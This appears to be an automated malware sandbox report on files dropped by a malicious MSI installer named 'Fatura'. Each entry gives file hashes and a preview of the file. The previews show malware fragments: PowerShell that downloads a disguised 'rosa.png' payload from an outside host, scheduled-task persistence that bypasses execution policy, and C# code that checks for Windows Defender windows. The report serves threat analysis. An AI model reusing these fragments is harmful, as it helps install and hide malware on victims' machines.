Preview:	..t.r.y. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .&.".C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.p.s.s.8.1.F...p.s.1.". . . . . . ..... . . . . . .i.f. .(.$.L.a.s.t.E.x.i.t.C.o.d.e. .-.n.e. .$.n.u.l.l.). .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . . .e.x.i.t. .$.L.a.s.t.E.x.i.t.C.o.d.e.;. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .c.a.t.c.h. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . .W.r.i.t.e.-.E.r.r.o.r. .".C.a.u.g.

C:\Users\user\AppData\Local\Temp\pss8907.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	3908
Entropy (8bit):	3.2366106229222797
Encrypted:	false
SSDEEP:	96:hGj+l3OQ0IMaDaiyOSAi0so4z8Alae4Amn4XHm/ZlzEI+LXDi4DEaaQxY:hGe3XiaDaiylAi0x4wC4/42d3a1a
MD5:	1F83F7D6C1A3302B3F8FCD0A4F999C42
SHA1:	41E88FE11C6436644F8E5D2932F29B7F8E244889
SHA-256:	910F39801EC65D37417B7A871E049B74903CE16330CEAA680E096919CE0935FC
SHA-512:	3330812977BC70A03298C280EE40C2C80E3C178E92E21FC1B448571FF6FABD2482970B7432642977BD585A6016054C00749C7C468432300EDA23BF99557B3CE2
Malicious:	false
Preview:	..#. .E.L.M.I.N.A.R. .L.K. .A.N.T.I.G.A.....$.d.i.r.e.c.t.o.r.y.P.a.t.h. .=. .".C.:.\.".........$.f.o.l.d.e.r.s. .=. .G.e.t.-.C.h.i.l.d.I.t.e.m. .-.P.a.t.h. .$.d.i.r.e.c.t.o.r.y.P.a.t.h. .-.D.i.r.e.c.t.o.r.y. .\|. .W.h.e.r.e.-.O.b.j.e.c.t. .{. .$._...N.a.m.e...E.n.d.s.W.i.t.h.(."...".). .}.........i.f. .(.$.f.o.l.d.e.r.s...C.o.u.n.t. .-.g.t. .0.). .{..... . . . .f.o.r.e.a.c.h. .(.$.f.o.l.d.e.r. .i.n. .$.f.o.l.d.e.r.s.). .{..... . . . . . . . ..... . . . . . . . .$.m.u.s.t.e.r.F.i.l.e. .=. .J.o.i.n.-.P.a.t.h. .-.P.a.t.h. .$.f.o.l.d.e.r...F.u.l.l.N.a.m.e. .-.C.h.i.l.d.P.a.t.h. .".M.u.s.t.e.r."..... . . . . . . . ..... . . . . . . . .i.f. .(.T.e.s.t.-.P.a.t.h. .-.P.a.t.h. .$.m.u.s.t.e.r.F.i.l.e.). .{..... . . . . . . . . . . . ..... . . . . . . . . . . . .$.e.x.e.F.i.l.e. .=. .G.e.t.-.C.h.i.l.d.I.t.e.m. .-.P.a.t.h. .$.f.o.l.d.e.r...F.u.l.l.N.a.m.e. .-.F.i.l.t.e.r. .".*...e.x.e.". .-.F.i.l.e. .-.E.r.r.o.r.A.c.t.i.o.n. .S.i.l.e.n.t.l.y.C.o.n.t.i.n.u.e. .\|. .S.e.l.e.c.t.-.O.b.j.e.c.t. .-.F.i.

C:\Users\user\AppData\Local\Temp\pss8908.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	2.394790120759676
Encrypted:	false
SSDEEP:	12:QilRKQ1uH/vo3F138Q53IsFmlIDy3El4YLsKOo:Qil9QH/vo3F1sQ54N8y3El4Zo
MD5:	B05FDA343514D4C7CC860B1BC8D74F5C
SHA1:	D6CE55C08CD16A27E27E95EBC21728B1CA7248E8
SHA-256:	A355B3D80739FD1F004FA43A82BAE1BD50446DCEC29F296076A8BBE79A11848C
SHA-512:	B58D131C6268C78911EB07E2FA4E457423E7C72EC881D77FEB851CC668703D7994101508BF07B1DAA6E41894AE871EA5A1806FD9897FF75C775C2DCE02014E4C
Malicious:	false
Preview:	..t.r.y. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .&.".C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.p.s.s.8.9.0.7...p.s.1.". . . . . . ..... . . . . . .i.f. .(.$.L.a.s.t.E.x.i.t.C.o.d.e. .-.n.e. .$.n.u.l.l.). .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . . .e.x.i.t. .$.L.a.s.t.E.x.i.t.C.o.d.e.;. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .c.a.t.c.h. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . .W.r.i.t.e.-.E.r.r.o.r. .".C.a.u.

C:\Users\user\AppData\Local\Temp\pssA4C1.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	5680
Entropy (8bit):	3.450276794552948
Encrypted:	false
SSDEEP:	96:PZBOuji7Sx6OKNb/gOi/tMpKWgSvRB1017WQqVHtYJGODPFciYdIgk:P/Os6KztMkWfoZmuUcIap
MD5:	B8309BE119765EB5826A6C941E2852AD
SHA1:	38B4EA17A5EC1D06E63EA9EAF99E419DCDD90226
SHA-256:	FCD62814C786D993B327F77758C2ABDE10B1D7408D9674EF52CB23222EAA8DF6
SHA-512:	04341BA97FB414972AD08C64BDD6D658AF5A5048F4620C82EADFD374003010C08F3C1D0D22C769FCA35BFA15027D3A24047CB89DB3A9FBC3F1C880C51C7E94A8
Malicious:	false
Preview:	..$.t.a.s.k.N.a.m.e. .=. .".R.o.s.a.".....$.t.a.s.k.A.c.t.i.o.n.P.a.t.h. .=. .".$.e.n.v.:.S.y.s.t.e.m.R.o.o.t.\.S.y.s.t.e.m.3.2.\.W.i.n.d.o.w.s.P.o.w.e.r.S.h.e.l.l.\.v.1...0.\.p.o.w.e.r.s.h.e.l.l...e.x.e.".....$.t.a.s.k.A.r.g.u.m.e.n.t.s. .=. .'.-.E.x.e.c.u.t.i.o.n.P.o.l.i.c.y. .B.y.p.a.s.s. .-.N.o.P.r.o.f.i.l.e. .-.C.o.m.m.a.n.d. .".&. .{..... . . . .$.f.o.l.d.e.r.P.a.t.h. .=. .'.'.C.:.\.L.o.c.a.l.N.o.w.'.'..... . . . .$.f.i.l.e.U.r.l. .=. .'.'.h.t.t.p.s.:././.q.s.i.f.-.9.4.3.2.7.5.1.-.n.e.u.r.a.l.l.i.n.k.-.b.w.l.p.r.t.y.x.-.0.9.9...c.o.m.p.u.t.a.d.o.r.-.h.a.r.d.w.a.r.e...n.e.t./.s.i.m.p.l.e.s./.r.o.s.a...p.n.g.'.'..... . . . .$.d.o.w.n.l.o.a.d.e.d.F.i.l.e. .=. .J.o.i.n.-.P.a.t.h. .$.f.o.l.d.e.r.P.a.t.h. .'.'.r.o.s.a...p.n.g.'.'..... . . . .$.z.i.p.F.i.l.e. .=. .J.o.i.n.-.P.a.t.h. .$.f.o.l.d.e.r.P.a.t.h. .'.'.r.o.s.a...z.i.p.'.'..... . . . .$.e.x.t.r.a.c.t.e.d.F.o.l.d.e.r. .=. .J.o.i.n.-.P.a.t.h. .$.f.o.l.d.e.r.P.a.t.h. .'.'.E.x.t.r.a.c.t.e.d.'.'..... . . . ..... . . . .w.h.i.l.e. .(.

C:\Users\user\AppData\Local\Temp\pssA4C2.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	2.3894231675080198
Encrypted:	false
SSDEEP:	12:QilRKQ1EwH/vo3F138Q53IsFmlIDy3El4YLsKOo:Qil9uwH/vo3F1sQ54N8y3El4Zo
MD5:	ACC93977EA72862C6E2726B44ED0F6D7
SHA1:	B316DDE21831F1CEA6CEA5967A77F5BF11089D46
SHA-256:	09F09098910180622D9F4C2C0DEEF08B17589CA7A328CB8CCB05FE05B335088D
SHA-512:	F8C8CD4C886E843EC513DEDCF8A8120E9C5BC63BFB02E9226EA22CB14144E22782B94E7F966ED30ABDC9AAA92B30CA392558DF3E9C8F243085186EA8734D0AD3
Malicious:	false
Preview:	..t.r.y. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .&.".C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.p.s.s.A.4.C.1...p.s.1.". . . . . . ..... . . . . . .i.f. .(.$.L.a.s.t.E.x.i.t.C.o.d.e. .-.n.e. .$.n.u.l.l.). .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . . .e.x.i.t. .$.L.a.s.t.E.x.i.t.C.o.d.e.;. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .c.a.t.c.h. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . .W.r.i.t.e.-.E.r.r.o.r. .".C.a.u.

C:\Users\user\AppData\Local\Temp\pssBA19.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	3.5833971722279934
Encrypted:	false
SSDEEP:	48:3k5QWV9+Q+o6HnL+CWqUpgHGp5IM+iYwl+G+JAzeJRZYPup:U5nVwocWqVEtYvJAzMZYW
MD5:	65E41C406B289BD6A098A94D200572E6
SHA1:	82683A7104639B7F7BEDD258BAF4C85FA63A1F81
SHA-256:	568637A2C65CD04178943974CE969BCE5B32987509F8CECA63AA39BD7ACEC40B
SHA-512:	6F427EBED0FB4E7749BF480E6ED9A7D1BD03C03B9698DF668C60CE64AD501B566BD98D6554FD6C47B25CF7538F3D615BA789888B00F648830030EAA7DE17F36F
Malicious:	false
Preview:	..#. .C.R.I.A.R. .T.F. .D.E. .D.E.S. .D.F.........i.f. .(.!.(.T.e.s.t.-.P.a.t.h. .-.P.a.t.h. .".C.:.\.t.e.m.p.".).). .{..... . . . .N.e.w.-.I.t.e.m. .-.I.t.e.m.T.y.p.e. .D.i.r.e.c.t.o.r.y. .-.P.a.t.h. .".C.:.\.t.e.m.p.".....}.............$.s.c.r.i.p.t.P.a.t.h. .=. .".C.:.\.t.e.m.p.\.s.i.s.t.e.m.a...p.s.1.".............$.A.c.t.i.o.n. .=. .N.e.w.-.S.c.h.e.d.u.l.e.d.T.a.s.k.A.c.t.i.o.n. .-.E.x.e.c.u.t.e. .".P.o.w.e.r.S.h.e.l.l...e.x.e.". .-.A.r.g.u.m.e.n.t. .".-.N.o.P.r.o.f.i.l.e. .-.E.x.e.c.u.t.i.o.n.P.o.l.i.c.y. .B.y.p.a.s.s. .-.F.i.l.e. .$.s.c.r.i.p.t.P.a.t.h.".............$.T.r.i.g.g.e.r. .=. .N.e.w.-.S.c.h.e.d.u.l.e.d.T.a.s.k.T.r.i.g.g.e.r. .-.O.n.c.e. .-.A.t. .(.G.e.t.-.D.a.t.e.)...A.d.d.M.i.n.u.t.e.s.(.2.2.). .-.R.e.p.e.t.i.t.i.o.n.I.n.t.e.r.v.a.l. .(.N.e.w.-.T.i.m.e.S.p.a.n. .-.M.i.n.u.t.e.s. .1.). .-.R.e.p.e.t.i.t.i.o.n.D.u.r.a.t.i.o.n. .(.N.e.w.-.T.i.m.e.S.p.a.n. .-.D.a.y.s. .1.0.0.).............$.P.r.i.n.c.i.p.a.l. .=. .N.e.w.-.S.c.h.e.d.u.l.e.d.T.a.s.k.P.r.i.n.c.i.p.a.l. .-.U.

C:\Users\user\AppData\Local\Temp\pssBA2A.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	2.392568437290189
Encrypted:	false
SSDEEP:	12:QilRKQ1qEH/vo3F138Q53IsFmlIDy3El4YLsKOo:Qil98EH/vo3F1sQ54N8y3El4Zo
MD5:	7C170347DC0198CD33A3B799C5146420
SHA1:	49DFE2600F60F11E2475B1B6F22B7FEC78827E83
SHA-256:	74B05D02B40CEFB2EBC24547AED3F5E1492A9BC8FA694B979A2203C28DF92165
SHA-512:	00FADA8F517A5BE5B14B4457C1AE4498DB56285989A1D80BB260CF4C072D24CE04F7D89DE05772D77DF853EDCDF6944ECCE7EDA3D94BF7276F8EE2F3AADD3501
Malicious:	false
Preview:	..t.r.y. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .&.".C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.p.s.s.B.A.1.9...p.s.1.". . . . . . ..... . . . . . .i.f. .(.$.L.a.s.t.E.x.i.t.C.o.d.e. .-.n.e. .$.n.u.l.l.). .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . . .e.x.i.t. .$.L.a.s.t.E.x.i.t.C.o.d.e.;. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .c.a.t.c.h. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . .W.r.i.t.e.-.E.r.r.o.r. .".C.a.u.

C:\Users\user\AppData\Local\Temp\pssD54B.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	3852
Entropy (8bit):	3.5705832778431175
Encrypted:	false
SSDEEP:	96:gGZSkhTliPHCupt8zQqVsoZcd4tYlrJAzIX5Yr/xLFOGx7:LSkhxifb3msXlrktR57
MD5:	6CB313EC8277EBD2827DAED9CB2E2539
SHA1:	DCBE70408EDE72FF223568586AA784C584B68B95
SHA-256:	5F4D3BA8BB1A89035A6BB03E3D80B6038B3144B072620CA9124E6486915FF369
SHA-512:	0E3DB085556547EA4BA6E844FB8B197FF1CC77E94CFD96FE22ADF3E7938F394D434F3033219264D8C60FE550A3AE031D525B1A761529A983BB77E08129E95892
Malicious:	false
Preview:	......$.t.a.s.k.N.a.m.e. .=. .".R.e.n.o.m.e.0.1.a.a.".....$.t.a.s.k.D.e.s.c.r.i.p.t.i.o.n. .=. .".T.a.r.e.f.a. .p.a.r.a. .v.e.r.i.f.i.c.a.r. .e. .e.x.e.c.u.t.a.r. .o. .a.r.q.u.i.v.o. .0.1.a.a...e.x.e. .e.m. .C.:.\.L.o.c.a.l.N.o.w.\.E.x.t.r.a.c.t.e.d. .a. .c.a.d.a. .1. .m.i.n.u.t.o...".............$.a.c.t.i.o.n.S.c.r.i.p.t. .=. .@.'.....$.f.o.l.d.e.r.P.a.t.h. .=. .".C.:.\.L.o.c.a.l.N.o.w.\.E.x.t.r.a.c.t.e.d.".........i.f. .(.T.e.s.t.-.P.a.t.h. .$.f.o.l.d.e.r.P.a.t.h.). .{..... . . . .$.f.i.l.e.P.a.t.h. .=. .G.e.t.-.C.h.i.l.d.I.t.e.m. .-.P.a.t.h. .$.f.o.l.d.e.r.P.a.t.h. .-.F.i.l.e. .\|. .W.h.e.r.e.-.O.b.j.e.c.t. .{. .$._...N.a.m.e. .-.e.q. .".0.1.a.a.". .}......... . . . .i.f. .(.$.f.i.l.e.P.a.t.h.). .{..... . . . . . . . .$.n.e.w.F.i.l.e.P.a.t.h. .=. .J.o.i.n.-.P.a.t.h. .-.P.a.t.h. .$.f.o.l.d.e.r.P.a.t.h. .-.C.h.i.l.d.P.a.t.h. .".0.1.a.a...e.x.e."..... . . . . . . . .R.e.n.a.m.e.-.I.t.e.m. .-.P.a.t.h. .$.f.i.l.e.P.a.t.h...F.u.l.l.N.a.m.e. .-.N.e.w.N.a.m.e. .$.n.e.w.F.i.l.e.P.a.t.h. .-.F.

C:\Users\user\AppData\Local\Temp\pssD54C.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	2.3937859977775497
Encrypted:	false
SSDEEP:	12:QilRKQ13pH/vo3F138Q53IsFmlIDy3El4YLsKOo:Qil9tpH/vo3F1sQ54N8y3El4Zo
MD5:	A2DBA00F30A05F66CB8289755E5F39DD
SHA1:	81A97A62AE22180530180171A2D84A7DFCD85E00
SHA-256:	FCE2457E99AFD147083F2C9F4B7F1051CAB7C69ABF019FF4B471E826B554E19E
SHA-512:	995C80682EF4EEFA4F92425DC5FDC9CCAC24CA0308558ED906636D2BA463F9BAE9D7032F151CBFFF03A00BA0102DED9FBA29B597EA8FF2FCB560683FD8E7C4DF
Malicious:	false
Preview:	..t.r.y. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .&.".C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.p.s.s.D.5.4.B...p.s.1.". . . . . . ..... . . . . . .i.f. .(.$.L.a.s.t.E.x.i.t.C.o.d.e. .-.n.e. .$.n.u.l.l.). .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . . .e.x.i.t. .$.L.a.s.t.E.x.i.t.C.o.d.e.;. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .c.a.t.c.h. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . .W.r.i.t.e.-.E.r.r.o.r. .".C.a.u.

C:\Users\user\AppData\Local\Temp\swfob4yn.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1279
Entropy (8bit):	4.871680908847123
Encrypted:	false
SSDEEP:	24:JodkrKkkrK1jjXwZTLBntjbH5OE/2LVUcTLsAt+26a7YeL8rpe:JomrKtrKFjXwZZtjbHCUPAt+2b0eLcpe
MD5:	0DB2CC7E3DAD18033D3D2B02D5BA990C
SHA1:	7AD4807C8D51F6A6DF8453EABD4236C0C543ED9C
SHA-256:	CCE2DA8B5247A9A738EB2F02EEDDC80ECFE5515FA072D2DFB40FC3000F317BE6
SHA-512:	1AF70815FB52DF06E67DF87A5D6A5D7D0A3A40B899B729E282182E344FE9BA8E445BE3697F6A5FE391F3D498A2FC4D79841ED23F3D547D35340E201BA3593517
Malicious:	false
Preview:	.using System;..using System.Runtime.InteropServices;....public class User32 {.. [DllImport("user32.dll", SetLastError = true)].. [return: MarshalAs(UnmanagedType.Bool)].. public static extern bool IsWindowVisible(IntPtr hWnd);.... [DllImport("user32.dll", SetLastError = true)].. [return: MarshalAs(UnmanagedType.Bool)].. public static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam);.... [DllImport("user32.dll", CharSet = CharSet.Unicode)].. public static extern int GetWindowText(IntPtr hWnd, System.Text.StringBuilder lpString, int nMaxCount);.... public delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam);.... public static bool IsDefenderWindowOpen() {.. bool isOpen = false;.... EnumWindows((hWnd, lParam) => {.. System.Text.StringBuilder windowText = new System.Text.StringBuilder(256);.. GetWindowText(hWnd, windowText, windowText.Capacity);.. string title = windowText.ToString();....

C:\Users\user\AppData\Local\Temp\swfob4yn.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (348), with no line terminators
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.22466274274494
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2wkn23fagGzxs7+AEszIwkn23fagV9:p37Lvkmb6KRfigGWZEifigV9
MD5:	5544197ACFA34BDE870487E0583942FE
SHA1:	AA4702880AB76E725AA8EFF61403BC356E4FDC2F
SHA-256:	F5F1B24E5F2295CD4B4251F123A70CCCAE162DB077F03DABF1F4D0F303F0B984
SHA-512:	F17FDC0BB24FEFA65E84B5C531554492EEC0103D75F041C95E30FDFF2FA04E974DCA5605A182FD2D2FC91792D5C51EBBF21AC9B5380E1630E1205818E3109154
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\swfob4yn.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\swfob4yn.0.cs"

C:\Users\user\AppData\Local\Temp\swfob4yn.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	3.576199364924504
Encrypted:	false
SSDEEP:	48:68wCFYXVWkPGIoxrc1gp/dFSjHowcaZjv1JGRJdc1ulv8a3mjq:nprSgplFS7sacJ18Km
MD5:	995A6630970B35E5B74660E35FEEC9F4
SHA1:	1434D8AD1F836BC67DFB071EE5EBB93401FB0C2E
SHA-256:	F38F0D04F4E706D5BCDC18D4DE0482CFC6BCDC6D4A23330F17518C293EC3EAA9
SHA-512:	4CDF889908C00A47C240E15D49E16731D898C3760E5C282CCD792F156494212071710CB65C4DE3BBAF368DBF295839609FB6B9BAE8F8D17C050A1263F20C21EA
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...7.Eg...........!.................'... ...@....... ....................................@..................................'..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H........ ................................................................(.....0..J....... ....s........o....(....&.o......r...po....-..r#..po....,...(....}.........0..+.......s.......}...........s....~....(....&.{......(....*.BSJB............v4.0.30319......l.......#~..........#Strings........P...#US.........#GUID...........#Blob...........W5........%3............................................................................>.7...E.7.....s.....7.....7......... .......

C:\Users\user\AppData\Local\Temp\swfob4yn.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (427), with CRLF, CR line terminators
Category:	modified
Size (bytes):	848
Entropy (8bit):	5.311517562812827
Encrypted:	false
SSDEEP:	24:AId3ka6KRficEifiQ4Kax5DqBVKVrdFAMBJTH:Akka6CnEuqK2DcVKdBJj
MD5:	52B2EC93A05D59B2B4D87DCACE0E5146
SHA1:	93F2BC6A1D1947F57F0163296A39216CCF31AB9E
SHA-256:	6E23DBED12A9EE42A42EBC350EE524E8255E84EDBF7B7CCA7853D698C60091C8
SHA-512:	0D5A957A6B39959BAC05F43E1355FF55B4FE29E0B531B19B21A2D9F6C751F34B159CC8388CE5083A484457DADB5DB8FBED839D6EB82FCE83E17601969D6AB369
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\swfob4yn.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\swfob4yn.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Windows\Installer\6605ad.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Title: Installation Database, Keywords: Installer, MSI, Database, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Dec 11 11:47:44 2009, Number of Pages: 200, Security: 0, Code page: 1252, Revision Number: {0C667927-6D0B-4AB9-A01E-2A11C050934F}, Number of Words: 2, Subject: Fatura, Author: Fatura, Name of Creating Application: Advanced Installer 12.3.1 build 64990, Template: ;2057, Comments: This installer database contains the logic and data required to install Fatura.
Category:	dropped
Size (bytes):	614400
Entropy (8bit):	6.638642572258602
Encrypted:	false
SSDEEP:	12288:L+xBvHA4YkTqp4n/+eT9NzecnIYUcEEn3:L+xBvHA4YHp4/+eT9N2YUcEEn
MD5:	BFF69C9CAAD1762CF45331E6ECEA1049
SHA1:	593A8D261A31C08E73BE5D119CAA3A27E85F4D6B
SHA-256:	949AC0A131DF40FA1C35D211934ACD66FCA038C027BC074AE12F7806E3B814CD
SHA-512:	1EE2EDCE8D699DB3B28A7E7B8EB4E0C5C6D8230100CA6CAD4F3F4DB59A9DF8D04FFB6F6A0C3CB5B751013B7B343E500A376D81039461ED5B65F57185CE9B7920
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Windows\Installer\6605ad.msi, Author: Joe Security Rule: JoeSecurity_MalDoc, Description: Yara detected MalDoc, Source: C:\Windows\Installer\6605ad.msi, Author: Joe Security
Preview:	......................>.......................................................o...............................u...........................................................................................................................................................................................................................................................................................................................................................................................................................Y...................................................................................................$...*....... ...!..."...#...'...%...&...)...(...+...,...[...-...Z......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...........f...\...]...^..._...`...a...b...c...d...e.......g...h...i...j...k...l...m...n...........q...r...s...t...u...v...w...x...y...z...

C:\Windows\Installer\MSI1543.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	300856
Entropy (8bit):	6.566429375406657
Encrypted:	false
SSDEEP:	3072:bCNrkQH7mY7iccAP4Yu3J5W7MZOGzs9B+JNc1F07KcnxGYu+Ueui38C2oSltrfVg:bAkA7iA4gM0TgNcAecnxGYu+scBQf4bv
MD5:	369A6CF512FEC341DCEB834C27E4D13E
SHA1:	68B77DE8B2619F787AA857C08A66A282DB078F22
SHA-256:	8CFFAE0C04713E045072B661D9173DD05F4D57A53F7E83703963A21F9CE88828
SHA-512:	4C95C40E0858D50903772DEA7F4E8E1E6044F31F1E92FFF1FE154C0D3446B6A5C7C88C8E1B76DC653CB1559F27BFFC175A3975C5C1B2D81197DACDDA1AE88888
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..U#.U#.U#.N.D.L#.N.p..#.N.q..#.\[I.Z#.U#..#.N.u.H#.N.A.T#.N.@.T#.N.G.T#.RichU#.........................PE..L.....U...........!.....z..........SL...............................................o....@..........................'..c.......x.......\|............\|..8.......$)..`...............................0...@............................................text....y.......z.................. ..`.rdata..............~..............@..@.data....E...0..."..................@....rsrc...\|............8..............@..@.reloc...=.......>...>..............@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI29F2.tmp

Download File

